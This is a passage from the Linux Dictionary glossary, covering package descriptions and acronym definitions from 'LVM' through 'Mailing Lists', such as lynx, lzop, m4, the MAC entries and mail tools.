LVM includes all of the support for handling read/write operations on physical volumes (hard disks, RAID-Systems, magneto optical, etc., multiple devices (MD), see mdadd(8) or even loop devices, see losetup(8)), creating volume groups (kind of virtual disks) from one or more physical volumes and creating one or more logical volumes (kind of logical partitions) in volume groups. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lvm-common

The Logical Volume Manager for Linux (common files) LVM includes all of the support for handling read/write operations on physical volumes (hard disks, RAID-Systems, magneto optical, etc., multiple devices (MD), see mdadd(8) or even loop devices, see losetup(8)), creating volume groups from one or more physical volumes and creating one or more logical volumes in volume groups. This package includes parts of the LVM packaging which do not depend on the particular IO protocol version of the kernel implementation. You need to install in addition one of lvm5, lvm6, or lvm10.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lvm10

The Logical Volume Manager for Linux LVM includes all of the support for handling read/write operations on physical volumes (hard disks, RAID-Systems, magneto optical, etc., multiple devices (MD), see mdadm(8) or even loop devices, see losetup(8)), creating volume groups from one or more physical volumes and creating one or more logical volumes in volume groups. This provides the IO protocol version 10 compatible binaries (LVM 0.9.x/1.0.x). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LVN

LandesVerwaltungsNetz (Baden-Wuerttemberg) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lvs

Linux Virtual Server kernel patches and support programs The Linux Virtual Server is a highly scalable and highly available server built on a cluster of real servers. The architecture of the cluster is transparent to end users, and the users see only a single virtual server. This package provides the kernel patches and some support programs necessary to implement a virtual server under Linux. With the addition of the mon and heartbeat packages it is possible to implement a complete high-availability solution for Linux. This package includes kernel patches for 2.2.13 and 2.2.14 (0.9.7) and the ipvsadm program (0.9.7). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LVTTL

Low Voltage Transistor Transistor Level (IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LW

Living Worlds (VRML) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LWC

Last Working Configuration (ESCD, PNP, BIOS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LWL

LichtWellenLeiter (cable) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lwm

Lightweight Window Manager lwm is a window manager for X that tries to keep out of your face. There are no icons, no button bars, no icon docks, no root menus, no nothing: if you want all that, then other programs can provide it. There's no configurability either: if you want that, you want a different window manager; one that helps your operating system in its evil conquest of your disc space and its annexation of your physical memory. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LWP

Light Weight Process (Sun, OS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lwresd

lightweight resolver daemon From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lwresd

Lightweight Resolver Daemon lwresd is the daemon providing name lookup services to clients that use the BIND 9 lightweight resolver library. It is essentially a stripped- down, caching-only name server that answers queries using the BIND 9 lightweight resolver protocol rather than the DNS protocol. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LX

Linear eXecutable (OS/2) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lx-gdb

Dump and load databases from the HP palmtop gdbload/gdbdump converts any standard database to and from CSV (Comma-Separated-Values) format. Many formatting options are available. World-Time and Appointment databases as well as application specific fields are not supported. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lxdoom

Linux port of boom, an enhanced version of DOOM Doom is a 3d shoot'em'up game, written by id Software, first released in 1993. LxDoom is a version of Doom, designed to run on Linux either under XFree86 or using SVGALib. LxDoom is based on Boom, a freely available port of Doom for DOS, written by TeamTNT (<http://www.teamtnt.com/>). This package includes only the network game server and the required game wad file (boomlump.wad). To actually play lxdoom, you require lxdoom-x11 or lxdoom-svga, depending on whether you're going to play lxdoom on the console or X. Packages which may also enhance your gameplay are lxdoom-sndserv and lxmusserv, which are the sound server and music server packages, respectively. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lxdoom-sndserv

Sound effects server for LxDoom Sound effects in LxDoom are played by a separate executable, the sound server. This sound server isn't required to play LxDoom (it will detect the presence or absence of both sndserv and musserv) -- it will, however, enhance your playing experience. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lxdoom-svga

Svgalib binary for lxdoom Doom is a 3d shoot'em'up game, written by id Software, first released in 1993. LxDoom is a version of Doom, designed to run on Linux either under XFree86 or using SVGALib. LxDoom is based on Boom, a freely available port of Doom for DOS, written by TeamTNT (<http://www.teamtnt.com/>). This is the svgalib binary for lxdoom. Note that installing this could be a security risk - if you don't completely trust a setuid doom binary, only use lxdoom-x11. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lxdoom-x11

X binary for LxDoom Doom is a 3d shoot'em'up game, written by id Software, first released in 1993. LxDoom is a version of Doom, designed to run on Linux either under XFree86 or using SVGALib. LxDoom is based on Boom, a freely available port of Doom for DOS, written by TeamTNT (<http://www.teamtnt.com/>). This is the X binary for LxDoom. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lxmusserv

Linux music server for Doom and Heretic A number of Linux DOOM and Heretic ports use this server to play music, separate from the main game binary. Install this if you want to hear music in these classic 3D shooters. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lxr

Linux Cross-Reference The Linux Cross-Reference project is the testbed application of a general hypertext cross-referencing tool. (Or the other way around.) The main goal of the project is to create a versatile cross-referencing tool for relatively large code repositories. The project is based on stock web technology, so the codeview client may be chosen from the full range of available web browsers. On the server side, any Unix-based web server with cgi-script capability should do nicely. The main feature of the indexer is of course the ability to jump easily to the declaration of any global identifier. Indeed, even all references to global identifiers are indexed. Quick access to function declarations, data (type) definitions and preprocessor macros makes code browsing just that tad more convenient. At-a-glance overview of e.g. which code areas that will be affected by changing a function or type definition should also come in useful during development and debugging. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lxtools

Linux Dictionary

Allows file management on HP100/200LX palmtops. Ixtools is an implementation of the HP100/200LX palmtop "filer" protocol. You can put the palmtop into server mode and retrieve files directly from it. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Lynx

A full-screen, text-only Web browser for UNIX computers, created by Lou Montoulli of the University of Kansas. Lynx is a full-featured Web browser but it cannot display in-line images. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lynx

a general purpose distributed information browser for the World Wide Web From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lynx

A text-based, non-graphical web browser for use in Telnet session. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lynx

Lynx is a text-based Web browser. Lynx does not display any images, but it does support frames, tables, and most other HTML tags. One advantage Lynx has over graphical browsers is speed; Lynx starts and exits quickly and swiftly displays webpages. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lynx

Text-mode WWW Browser Lynx is a fully-featured World Wide Web (WWW) client for users running cursor-addressable, character-cell display devices (e.g., vt100 terminals, vt100 emulators running on PCs or Macs, or any other "curses-oriented" display). It will display hypertext markup language (HTML) documents containing links to files residing on the local system, as well as files residing on remote systems running Gopher, HTTP, FTP, WAIS, and NNTP servers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lynx-cur

Text-mode WWW Browser with NLS support (development version) Lynx is a fully-featured World Wide Web (WWW) client for users running cursor-addressable, character-cell display devices. It is very fast and easy to use. It will display HTML documents containing links to files residing on the local system, as well as files residing on remote systems running Gopher, HTTP, FTP, WAIS, and NNTP servers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lynx-cur-wrapper

Wrapper for lynx-cur This wrapper will provide almost all basic setup of lynx mainly for novice users using LANG environment variable so a user needs essentially nothing to do except setting LANG appropriately. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lynx-ssl

Text-mode WWW Browser supporting SSL Lynx is a fully-featured World Wide Web (WWW) client for users running cursor-addressable, character-cell display devices (e.g., vt100 terminals, vt100 emulators running on PCs or Macs, or any other "curses-oriented" display). It will display hypertext markup language (HTML) documents containing links to files residing on the local system, as well as files residing on remote systems running Gopher, HTTP, FTP, WAIS, and NNTP servers. This version of Lynx provides the ability to make use of SSL over HTTP for secure access to web sites (HTTPS) and over NNTP for secure access to news servers (SNEWS). SSL is handled transparently, allowing users to continue accessing web sites and news services from within Lynx through the same interface for both secure and standard transfers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lyskom-elisp-client

Emacs client for LysKOM. A LysKOM client implemented in Emacs LISP. This client is the most used and developed one. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lyskom-server

Server for the LysKOM conference system LysKOM has a lot in common with netnews, but LysKOM is intended for local discussions (instead of worldwide). LysKOM consists of a server process and several client programs. The server process maintains a data base of persons, conferences and articles. The clients connect to the server and let the users browse the database for unread articles. LysKOM is much faster than netnews – almost as fast as irc or ICQ! – but like in netnews the articles are saved so that you don't have to be logged in to receive the news. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lyskom-tty-client

TTY client for LysKOM With lyskom you can connect to your favourite LysKOM. A LysKOM is a computerised conference system where you can participate in discussions, ask questions, and get in touch with interesting people. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LZO

Lempel-Ziv-Oberhumer (a compression algorithm). From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lzop

A real-time compressor. lzop is a compressor similar to gzip. Its main advantages over gzip are much higher compression and decompression speed. lzop was designed with the following goals in mind: 1) reliability 2) speed (both compression and decompression) 3) reasonable drop-in compatibility to gzip 4) portability From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LZS

Lempel-Ziv-Stac [compression] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LZSDCP

[PPP] Lempel-Ziv-Stac – Data Compression Protocol (PPP, RFC 1967), "LZS-DCP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LZW

Lempel-Ziv-Welch [compression] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

M

m-tx

A simple music-from-text language for use with MusiXTeX M-Tx is a music-from-text language designed to look as much as possible like printed music. Here is some typical input code:

```
Title: Net soos ek is Composer: Charlotte Elliott Style: SATB Sharps: 2 Meter: 3/4 PMX: w190m
Space: 9 @+5 b4 b b | b2d | a4 a a | a2d | d4 e- f | g2 e4 | d2d of |] L: Net soos ek is, net soos ek is, O
Lam van God, ek kom. d4s g f | e2d | e4 f e | d2d | d4 dr d | d2 c4 | d2d |] @^+5 rp | b4 e d | c2d | a4 d
c | ( b2d | b2 ) g4 | f2d |] LT: Net soos ek is, O Lam van God, ek kom. a4 a a | g2d | g4 g g | f2d | b4-
g+ f | e2 a4- | d2d ofd |] L: Net soos ek is, net soos ek is, O Lam van God, ek kom.
```

To run M-Tx, you also need MusiXTeX, musixlyr and PMX, all available as Debian packages.

Author: Dirk Laurie <dirk@calvyn.puk.ac.za> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

m2c

Modula-2 translator (compiler) m2c is a Modula-2 translator. The translator supports Modula-2 versions described in 3rd and 4th editions of famous Wirth's book *Programming in Modula-2*. (Note: This is not current Modula-2 ISO standard.) High portability of the translator is achieved by intermediate translation into C. The translator is aimed to be used on Unices of different flavours. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

m4

A GNU implementation of the traditional UNIX macro processor. M4 is useful for writing text files which can be logically parsed, and is used by many programs as part of their build process. M4 has built-in functions for including files, running shell commands, doing arithmetic, etc. The autoconf program needs m4 for generating configure scripts, but not for running configure scripts. Install m4 if you need a macro processor. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

m4

a macro processing language GNU `m4' is an implementation of the traditional UNIX macro processor. It is mostly SVR4 compatible, although it has some extensions (for example, handling more than 9 positional parameters to macros). `m4' also has builtin functions for including files, running shell commands, doing arithmetic, etc. Autoconf needs GNU `m4' for generating `configure' scripts, but not for running them. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

m68k-vme-tftplilo

Linux kernel TFTP boot loader for m68k VME processor boards. Tftplilo is a highly configurable kernel and ramdisk network boot loader for BVM and Motorola m68k VME processor boards. It provides a mechanism for one or more diskless machines to interactively select a kernel boot configuration from a set of configurations defined in a single text configuration file that is transferred from the host tftp server. Each defined configuration specifies things such as Linux kernel and initial ramdisk file names which are then also transferred from the host tftp server. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAC

Mandatory Access Control (MLS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAC

Media Access Control (ISO, OSI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAC

Membership Advisory Committee (ICANN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAC

Message Authentication Code (SSL, SRT, cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAC (Message Authentication Code)

A specific type of message digest where the secret key is included as part of the fingerprint. Whereas a normal digest consists of a hash(data), the MAC consists of a hash(key + data). Contrast: The most common form is actually HMAC (hash MAC) that uses the algorithm hash(key + hash(key + data)). From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAC address

Every piece of Ethernet hardware has a unique number assigned to it called it's MAC address. Remember that Ethernet is used locally to connect you to the Internet, and you share the local network with many other people. The MAC address is used by your local Internet router in order to direct your traffic to you rather than somebody else in your local area. Key point: The MAC address is 6-bytes long, and must be unique. In order to guarantee uniqueness, equipment vendors are assigned a unique 3-byte prefix, and they then assign their own 3-byte suffix. Thus, the first 3-bytes of a MAC address identifies what kind of hardware you have (3Com, Cisco, Intel, etc.). Key point: The uniqueness property of MAC addresses has interesting implications. It was an important clue in tracking down David Smith (the Melissa author). From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MACH

Multilayer ACtuator Head From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Machine language

The native binary language recognised and executed by a computer's central processing unit (CPU). Machine language, a low-level language symbolised by 0s and 1s, is extremely difficult to use and read. See assembly language and high-level programming language. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MACID

Media Access Control IDentifier, "MAC-ID" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MACOS

MACintosh Operating System (Apple, OS), "MacOS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

macro

/mak'roh/ n. [techspeak] A name (possibly followed by a formal arg list) that is equated to a text or symbolic expression to which it is to be expanded (possibly with the substitution of actual arguments) by a macro expander. This definition can be found in any technical dictionary; what those won't tell you is how the hackish connotations of the term have changed over time. The term `macro' originated in early assemblers, which encouraged the use of macros as a structuring and information-hiding device. During the early 1970s, macro assemblers became ubiquitous, and sometimes quite as powerful and expensive as HLLs, only to fall from favor as improving compiler technology marginalized assembler programming (see languages of choice). Nowadays the term is most often used in connection with the C preprocessor, LISP, or one of several special-purpose languages built around a macro-expansion facility (such as TeX or Unix's [nt]roff suite). Indeed, the meaning has drifted enough that the collective `macros' is now sometimes used for code in any special-purpose application control language (whether or not the language is actually translated by text expansion), and for macro-like entities such as the `keyboard macros' supported in some text editors (and PC TSR or Macintosh INIT/CDEV keyboard enhancers). From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

macro

A command that incorporates a set of other commands. You custom design a command, called a macro, from existing commands. Both the vi editor and the nroff and troff formatters use macros. The mm macro package described in this book is an example of a large collection of nroff and troff macros. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Macro

A program consisting of recorded keystrokes and an application's command language that, when run within the application, executes the keystrokes and commands to accomplish a task. Macros can automate tedious and often-repeated tasks (such as saving and backing up a file to a floppy) or create special menus to speed data entry. Some programs provide a macro-recording mode in which the program records your keystrokes and then saves the recording as a macro. Others provide a built-in macro editor, where you type and edit macro commands directly to create IF/THEN/ELSE statements and DO/WHILE loops. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Macro

A set of instructions stored in an executable form. Macros may be application specific (such as a spreadsheet or word processing macro that performs specific steps within that program) or general-purpose (for example, a keyboard macro that types in a user ID when Ctrl-U is pressed on the keyboard). From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

macro-pref.

Large. Opposite of micro-. In the mainstream and among other technical cultures (for example, medical people) this competes with the prefix mega-, but hackers tend to restrict the latter to quantification. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MACS

Manufacturing Application Control System (SNI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MACS

MODEM Access Control System (MODEM, DES, cryptography), "M.A.C.S." From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

macutils

Set of tools to deal with specially encoded Macintosh files macutils is a package that contains a number of utilities that deal with Macintosh files on a Unix system. This is useful for converting BinHex-encoded files to the smaller MacBinary format before transferring them to a Mac. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAD

Memory Address Driver strength (BIOS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAD

Message Address Directory From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

madbomber

A Kaboom! clone "Mad Bomber" is a clone of Activision's classic Atari 2600 console game, "Kaboom!," by Larry Kaplan, with spruced-up graphics and sound effects, and music. The Mad Bomber is loose in the city and he's dropping bombs everywhere! It's your job to catch them before they hit the ground and explode. Luckily, you have a set of trusty buckets to extinguish the bombs with. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MADCAP

Multicast Address Dynamic Client Allocation Protocol (RFC 2730, Multicast) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MADE

Multimedia Application Development Environment (CWI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Madeinlinux

An Italian Linux Distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MADK

Microsoft Activex Development Kit (ActiveX, MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

madoka

IRC personal proxy, stationing, logger and bot program (pirc). madoka can work as IRC personal proxy server, stationing on the IRC net with logging. and some bot plugins included. madoka is IPv6 compliant with Socket6.pm which is in libsocket6-perl. But Documents are available only Japanese. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

madplay

MPEG audio player in fixed point MAD is an MPEG audio decoder. It currently only supports the MPEG 1 standard, but fully implements all three audio layers (Layer I, Layer II, and Layer III, the latter often colloquially known as MP3.). There is also full support for ID3 tags. All work is done in fixed point, so it even works on machines without a FPU. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MADT

Multiple APIC Description Table (ACPI, APIC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAE

Macintosh Application Environment (Apple, Sun, HPUX) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Maelstrom

Maelstrom is a space combat game, originally ported from the Macintosh platform. Brave pilots get to dodge asteroids and fight off other ships at the same time. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mag

computes fontsizes and magsteps From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

magic number

In source code, some non-obvious constant whose value is significant to the operation of a program and that is inserted inconspicuously in-line (hardcoded), rather than expanded in by a symbol set by a commented #define. Magic numbers in this sense are bad style. 2. A number that encodes critical information used in an algorithm in some opaque way. 3. Special data located at the beginning of a binary data file to indicate its type to a utility. Under Unix, the system and various applications programs (especially the linker) distinguish between types of executable file by looking for a magic number. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

magic number

n. [Unix/C; common] 1. In source code, some non-obvious constant whose value is significant to the operation of a program and that is inserted inconspicuously in-line (hardcoded), rather than expanded in by a symbol set by a commented #define. Magic numbers in this sense are bad style. 2. A number that encodes critical information used in an algorithm in some opaque way. The classic examples of these are the numbers used in hash or CRC functions, or the coefficients in a linear congruential generator for pseudo-random numbers. This sense actually predates and was ancestral to the more commonsense 1. 3. Special data located at the beginning of a binary data file to indicate its type to a utility. Under Unix, the system and various applications programs (especially the linker) distinguish between types of executable file by looking for a magic number. Once upon a time, these magic numbers were PDP-11 branch instructions that skipped over header data to the start of executable code; 0407, for example, was octal for 'branch 16 bytes relative'. Many other kinds of files now have magic numbers somewhere; some magic numbers are, in fact, strings, like the !<arch> at the

beginning of a Unix archive file or the %! leading PostScript files. Nowadays only a wizard knows the spells to create magic numbers. How do you choose a fresh magic number of your own? Simple — you pick one at random. See? It's magic! The magic number, on the other hand, is 7+/-2. See "The magical number seven, plus or minus two: some limits on our capacity for processing information" by George Miller, in the "Psychological Review" 63:81-97 (1956). This classic paper established the number of distinct items (such as numeric digits) that humans can hold in short-term memory. Among other things, this strongly influenced the interface design of the phone system. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

magic2mime

determine file type From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

magicdev

Magicdev is a daemon that runs within the GNOME environment and detects when a CD is removed or inserted. Magicdev handles running autorun programs on the CD, updating the File Manager, and playing audio CDs. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

magicfilter

automatic printer filter. Magicfilter is a customizable, extensible automatic printer filter. It uses its own magic database (^ la file(1)) to decide how to print out a given print job. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MagicPoint

MagicPoint is an X11 based presentation tool. MagicPoint's presentation files (typically .mgp files) are plain text so you can create presentation files quickly with your favorite editor. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

magnus

Computational group theory software with GUI The MAGNUS computational group theory package is an innovative symbolic algebra package providing facilities for doing calculations in and about infinite groups. Almost all symbolic algebra systems are oriented toward finite computations that are guaranteed to produce answers, given enough time and resources. By contrast, MAGNUS is concerned with experiments and computations on infinite groups which in some cases are known to terminate, while in others are known to be generally recursively unsolvable. MAGNUS features an intuitive graphical user interface, facilities for running different algorithms on the same problem in parallel, generation of approximations for working on otherwise infeasible problems, genetic algorithms and a plug-in package manager. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

magpie

Debian reference librarian This program acts as a "reference librarian" for the apt(8) and dpkg(8) database, and how that information compares to the actual system. Each package is fully described on an individual page. Three additional package lists are provided: "required by," "recommended by" and "suggested by," as is a link to the Debian bug tracking system. If the package is installed, the page also shows the conffiles and any files in the package which don't match the manifest (if enabled). All package lists provide the "summary" description and the version of the package, if installed. A synopsis of all packages (the 'description' field) is available, grouped by section or priority or keyword. A synopsis of all installed packages is also provided. Additional indexes include package name, maintainer, source package, package size, installed size and md5sum. Magpie also has experimental XML support, but no XSL stylesheets have been defined yet. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mah-jong

The original Mah-Jong game This is a set of programs to play the original Mah-Jong game: one server, one client for a human player and one client for a programmed player. Hence the game can be played by 1 to 4 human players. You should keep in mind that the original Mah-Jong game has nothing to do with the well-known solitaire game. (It only uses the same set of tiles.) If you like the

game, please consider making a donation to the (upstream) author. Read </usr/share/doc/mah-jong/README.Debian> for details. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mail

Electronic Mail is a means of exchanging private text messages through the Internet and other networks. Common Unix mail readers include Elm, Pine, and MUSH. It is also possible to read mail across a SLIP connection with a client program connected to a popmail server. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mail

send and receive mail From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mail-audit-tools

Programs derived from the Mail::Audit package Small programs designed to enhance the Mail::Audit package. These include proc2ma, to convert procmail rc files to mail filters using Mail::Audit, and popread, to act as a replacement for fetchmail. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mail-files

GNU sharutils From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailagent

an automatic mail-processing tool From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailagent

An automatic mail-processing tool Mailagent allows you to process your mail automatically. This has far more functionality than procmail, and is easier to configure (providing, of course, that you grok perl). As a mail processing tool, this slices, it dices, it ... Given a set of lex-like rules, you are able to file mails to specific folders (plain Unix-style folders and also MMDf and MH ones), forward messages to a third person, pipe a message to a command or even post the message to a newsgroup. It is also possible to process messages containing some commands. You may also set up a vacation program, which will automatically answer your mail while you are not there, but more flexibly than the Unix command of the same name. You only need to supply a message to be sent and the frequency at which this will occur. Some simple macro substitutions allow you to re-use some parts of the mail header into your vacation message, for a more personalized reply. You may also set up a generic mail server, without the hassle of the lower-level concerns like error recovery, logging or command parsing. The mailagent is not usually invoked manually but is rather called via the filter program, which is in turn invoked by sendmail. That means you must have sendmail/smmail on your system to use this. You also must have perl to run the mailagent scripts. It is possible to extend the mailagent filtering commands by implementing them in perl and then having them automatically loaded when used. Please note that on Debian systems, mailagent can not lock /var/spool/mail directory mailboxes, and thus one must put a catch all rule saving all mail in ones home directory. This is because Debian MDA policy requires them to be setgid mail, and making anything as extensible as mailagent setgid anything negates any benefit of having group permission protection. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mailbox

In electronix mail, the storage space that has been set aside to store an individual's electronic mail messages. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailcap

The mailcap file is used by the metamail program. Metamail reads the mailcap file to determine how it should display non-text or multimedia material. Basically, mailcap associates a particular type of file with a particular program that a mail agent or other program can call in order to handle the file. Mailcap should be installed to allow certain programs to be able to handle non-text files. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailcheck

Check multiple mailboxes/mailedirs for mail Mailcheck is a simple, configurable tool that allows multiple mailboxes to be checked for the existence of new mail messages. It supports both mbox and maildir-style mailboxes, for compatibility with most mail transport agents. It also supports remote POP3 and IMAP mailboxes. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailcrypt

An Emacs interface to the GNU Privacy Guard. Mailcrypt is an Emacs lisp package that provides a simple but powerful interface to cryptographic functions for mail and news. With Mailcrypt, encryption becomes a seamlessly integrated part of your mail and news handling environment. Mailcrypt can automatically fetch public keys to encode, decode, and verify messages, and can be configured to automate mailing through anonymous remailers. Although Mailcrypt may be used to process data in arbitrary Emacs buffers, it is most useful in conjunction with other Emacs packages for handling mail and news. Mailcrypt has specialized support for Rmail, VM, MH-E, and Gnus. Currently XEmacs ships with its own Mailcrypt, so this package should only be used with GNU/Emacs. (I.e., you don't need to install this package if your site uses only XEmacs.) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

maildir-bulletin

Deliver bulletins directly to the users' Maildir. Deliver bulletins directly to the Maildir mail storage of users. Designed to be run from the /etc/aliases file with command-line parameters for which groups to send mail to. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

maildist

mailagent's commands From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

maildrop

mail delivery agent with filtering abilities maildrop is a replacement for your local mail delivery agent. maildrop reads a mail message from standard input, then delivers the message to your mailbox. maildrop knows how to deliver mail to mbox-style mailboxes, and maildirs (a mail storing format introduced by Qmail). maildrop can optionally read instructions from a file on how to filter incoming mail, and, based upon the instructions, deliver mail to alternate mailboxes, or forward it to somewhere else, like procmail. Unlike procmail, maildrop uses a structured filtering language that's a bit easier on the eyes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailfilter

A program that filters your incoming e-mail to help remove spam. Mailfilter is very flexible utility for UNIX (-like) operating systems to get rid of unwanted e-mail messages, before having to go through the trouble of downloading them to the local computer. It offers support for one or many POP3 accounts and is especially useful for dialup connections via modem, ISDN, etc. Install Mailfilter if you'd like to remove spam from your POP3 mail accounts. With Mailfilter you can define your own filters (rules) to determine which e-mails should be delivered and which are considered waste. Rules are Regular Expressions, so you can make use of familiar options from other mail delivery programs such as e.g. procmail. If you do not get your mail from a POP3-Server you don't need Mailfilter. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailhelp

mailagent's commands From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailing list

An e-mail address that is an alias (or macro, though that word is never used in this connection) which is expanded by a mail exploder to yield many other e-mail addresses. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mailing Lists

